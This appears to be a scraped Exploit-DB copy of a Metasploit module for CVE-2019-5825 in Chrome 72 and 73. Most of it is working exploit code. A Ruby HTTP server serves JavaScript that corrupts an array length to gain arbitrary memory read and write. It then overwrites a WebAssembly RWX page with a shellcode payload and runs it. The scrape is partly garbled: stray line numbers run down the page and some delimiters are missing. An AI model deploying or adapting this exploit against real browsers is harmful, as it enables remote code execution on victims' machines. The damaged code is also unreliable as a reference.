Google Chrome 72 and 73 – Array.map Out-of-Bounds Write (Metasploit)

Exploit Database
112 阅读

作者： Metasploit

日期： 2020-03-09
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/48183/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'Google Chrome 72 and 73 Array.map exploit',

'Description'=> %q{

This module exploits an issue in Chrome 73.0.3683.86 (64 bit).

The exploit corrupts the length of a float in order to modify the backing store

of a typed array. The typed array can then be used to read and write arbitrary

memory. The exploit then uses WebAssembly in order to allocate a region of RWX

memory, which is then replaced with the payload.

The payload is executed within the sandboxed renderer process, so the browser

must be run with the --no-sandbox option for the payload to work correctly.

'License'=> MSF_LICENSE,

'Author' => [

'dmxcsnsbh', # discovery

'István Kurucsai', # exploit

'timwr', # metasploit module

'References' => [

['CVE', '2019-5825'],

['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],

['URL', 'https://github.com/exodusintel/Chromium-941743'],

['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],

['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],

'Arch' => [ ARCH_X64 ],

'Platform' => ['windows','osx'],

'DefaultTarget'=> 0,

'Targets'=> [ [ 'Automatic', { } ] ],

'DisclosureDate' => 'Mar 7 2019'))

register_advanced_options([

OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),

])

end

def on_request_uri(cli, request)

if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}

print_status("[*] #{request.body}")

send_response(cli, '')

return

end

print_status("Sending #{request.uri} to #{request['User-Agent']}")

escaped_payload = Rex::Text.to_unescape(payload.encoded)

jscript = %Q^

// HELPER FUNCTIONS

let conversion_buffer = new ArrayBuffer(8);

let float_view = new Float64Array(conversion_buffer);

let int_view = new BigUint64Array(conversion_buffer);

BigInt.prototype.hex = function() {

return '0x' + this.toString(16);

};

BigInt.prototype.i2f = function() {

int_view[0] = this;

return float_view[0];

}

BigInt.prototype.smi2f = function() {

int_view[0] = this << 32n;

return float_view[0];

}

Number.prototype.f2i = function() {

float_view[0] = this;

return int_view[0];

}

Number.prototype.f2smi = function() {

float_view[0] = this;

return int_view[0] >> 32n;

}

Number.prototype.i2f = function() {

return BigInt(this).i2f();

}

Number.prototype.smi2f = function() {

return BigInt(this).smi2f();

}

// *******************

// Exploit starts here

// *******************

// This call ensures that TurboFan won't inline array constructors.

Array(2**30);

// we are aiming for the following object layout

// [output of Array.map][packed float array][typed array][Object]

// First the length of the packed float array is corrupted via the original vulnerability,

// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.

// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output

const float_array_len_offset = 23;

// offset of the length field of the typed array

const tarray_elements_len_offset = 24;

// offset of the address pointer of the typed array

const tarray_elements_addr_offset = tarray_elements_len_offset + 1;

const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.

let a = [1, 2, ,,, 3];

let cnt = 0;

var tarray;

var float_array;

var obj;

function mapping(a) {

function cb(elem, idx) {

if (idx == 0) {

float_array = [0.1, 0.2];

tarray = new BigUint64Array(2);

tarray[0] = 0x41414141n;

tarray[1] = 0x42424242n;

obj = {'a': 0x31323334, 'b': 1};

obj['b'] = obj;

}

if (idx > float_array_len_offset) {

// minimize the corruption for stability

throw "stop";

}

return idx;

}

return a.map(cb);

}

function get_rw() {

for (let i = 0; i < 10 ** 5; i++) {

mapping(a);

}

// Now lengthen the array, but ensure that it points to a non-dictionary

// backing store.

a.length = (32 * 1024 * 1024)-1;

a.fill(1, float_array_len_offset, float_array_len_offset+1);

a.fill(1, float_array_len_offset+2);

a.push(2);

a.length += 500;

// Now, the non-inlined array constructor should produce an array with

// dictionary elements: causing a crash.

cnt = 1;

try {

mapping(a);

} catch(e) {

// relative RW from the float array from this point on

let sane = sanity_check()

print('sanity_check == ', sane);

print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));

print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));

print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;

print('original elements addr: ' + original_elements_ptr.toString(16));

print('original elements value: ' + read8(original_elements_ptr).toString(16));

print('addrof(Object): ' + addrof(Object).toString(16));

}

function sanity_check() {

success = true;

success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;

success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;

success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;

return success;

}

function read8(addr) {

let original = float_array[tarray_elements_len_offset+1];

float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();

let result = tarray[0];

float_array[tarray_elements_len_offset+1] = original;

return result;

}

function write8(addr, val) {

let original = float_array[tarray_elements_len_offset+1];

float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();

tarray[0] = val;

float_array[tarray_elements_len_offset+1] = original;

}

function addrof(o) {

obj['b'] = o;

return float_array[obj_prop_b_offset].f2i();

}

var wfunc = null;

var shellcode = unescape("#{escaped_payload}");

function get_wasm_func() {

var importObject = {

imports: { imported_func: arg => print(arg) }

};

bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];

wasm_code = new Uint8Array(bc);

wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);

return wasm_mod.exports.exported_func;

}

function rce() {

let wasm_func = get_wasm_func();

wfunc = wasm_func;

// traverse the JSFunction object chain to find the RWX WebAssembly code page

let wasm_func_addr = addrof(wasm_func) - 1n;

print('wasm: ' + wasm_func_addr);

if (wasm_func_addr == 2) {

print('Failed, retrying...');

location.reload();

return;

}

let sfi = read8(wasm_func_addr + 12n*2n) - 1n;

print('sfi: ' + sfi.toString(16));

let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;

print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;

print('instance: ' + instance.toString(16));

//let rwx_addr = read8(instance + 0x108n);

let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86

//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100

//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84

print('rwx: ' + rwx_addr.toString(16));

// write the shellcode to the RWX page

if (shellcode.length % 2 != 0) {

shellcode += "\u9090";

}

for (let i = 0; i < shellcode.length; i += 2) {

write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));

}

// invoke the shellcode

wfunc();

}

function exploit() {

print("Exploiting...");

get_rw();

rce();

}

exploit();

if datastore['DEBUG_EXPLOIT']

debugjs = %Q^

print = function(arg) {

var request = new XMLHttpRequest();

request.open("POST", "/print", false);

request.send("" + arg);

};

jscript = "#{debugjs}#{jscript}"

else

jscript.gsub!(/\/\/.*$/, '') # strip comments

jscript.gsub!(/^\s*print\s*$.*?$;\s*$/, '') # strip print(*);

end

html = %Q^

<html>

<head>

#{jscript}

</script>

</head>

<body>

</body>

</html>

send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})

end